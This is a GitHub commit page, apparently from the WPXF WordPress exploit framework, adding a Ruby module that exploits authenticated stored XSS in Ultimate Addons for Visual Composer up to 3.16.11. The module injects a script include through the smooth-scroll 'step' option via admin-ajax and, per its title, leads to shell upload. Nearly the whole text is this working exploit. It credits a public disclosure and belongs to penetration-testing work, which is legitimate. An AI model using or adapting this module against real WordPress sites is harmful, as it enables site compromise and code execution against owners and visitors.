Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit f241d77

Browse files
committed
Add Ultimate Addons for Visual Composer stored XSS shell upload
1 parent 2a86e82 commit f241d77

File tree

1 file changed

+46
-0
lines changed

1 file changed

+46
-0
lines changed
Lines changed: 46 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,46 @@
1+
class Wpxf::Exploit::UltimateAddonsForVCAuthenticatedStoredXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::StoredXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Ultimate Addons for Visual Composer <= 3.16.11 Authenticated Stored XSS Shell Upload',
9+
author: [
10+
'WpHutte', # Disclosure
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8821'],
15+
['URL', 'http://wphutte.com/ultimate-addons-for-visual-composer-v3-16-10-xss-csrf-rce/']
16+
],
17+
date: 'Apr 16 2017'
18+
)
19+
end
20+
21+
def check
22+
readme = normalize_uri(wordpress_url_plugins, 'Ultimate_VC_Addons', 'README')
23+
check_version_from_custom_file(readme, /Version:<\/strong>\s((\d+\.?)+)/, '3.16.12')
24+
end
25+
26+
def requires_authentication
27+
true
28+
end
29+
30+
def vulnerable_page
31+
full_uri
32+
end
33+
34+
def store_script
35+
execute_post_request(
36+
url: wordpress_url_admin_ajax,
37+
cookie: session_cookie,
38+
body: {
39+
'action' => 'update_ultimate_options',
40+
'ultimate_smooth_scroll' => 'enable',
41+
'ultimate_smooth_scroll_options[speed]' => Utility::Text.rand_numeric(2),
42+
'ultimate_smooth_scroll_options[step]' => "#{Utility::Text.rand_numeric(2)}; #{xss_ascii_encoded_include_script}"
43+
}
44+
)
45+
end
46+
end

0 commit comments

Comments
 (0)